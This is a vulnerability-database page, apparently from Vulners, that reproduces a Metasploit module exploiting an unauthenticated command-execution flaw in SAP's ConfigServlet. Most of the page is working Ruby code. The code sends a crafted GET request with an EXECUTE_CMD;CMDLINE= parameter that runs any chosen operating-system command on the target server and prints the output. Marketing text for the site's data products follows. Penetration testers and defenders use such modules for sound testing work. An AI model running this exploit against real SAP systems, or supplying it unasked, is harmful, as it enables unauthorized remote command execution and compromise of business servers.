Lucene search
+L

SAP ConfigServlet OS Command Execution

🗓️ 01 Nov 2012 00:00:00Reported by Dmitry Chastuhin, Andras KabaiType 
metasploit
 metasploit
🔗 www.rapid7.com👁 18 Views

SAP ConfigServlet OS Command Execution without authentication allows remote command executio

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SAP ConfigServlet OS Command Execution',
        'Description' => %q{
          This module allows execution of operating system commands through the SAP
          ConfigServlet without any authentication.
        },
        'Author' => [
          'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
          'Andras Kabai' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'OSVDB', '92704' ],
          [ 'EDB', '24963' ],
          [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
        ],
        'DisclosureDate' => '2012-11-01', # Based on the reference presentation
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(50000),
        OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
        OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
      ]
    )
  end

  def run
    begin
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending remote command: " + datastore['CMD'])
      uri = normalize_uri(target_uri.path, 'ConfigServlet')

      res = send_request_cgi(
        {
          'uri' => uri,
          'method' => 'GET',
          'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD'])
        }
      )
      if !res || (res.code != 200)
        print_error("#{Rex::Socket.to_authority(rhost, rport)} - Exploit failed")
        return
      end
    rescue ::Rex::ConnectionError
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Failed to connect to the server")
      return
    end

    if res.body.include?('Process created')
      print_good("#{Rex::Socket.to_authority(rhost, rport)} - Exploited successfully\n")
      print_line("#{Rex::Socket.to_authority(rhost, rport)} - Command: #{datastore['CMD']}\n")
      print_line("#{Rex::Socket.to_authority(rhost, rport)} - Output: #{res.body}")
    else
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Exploit failed")
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Output: #{res.body}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation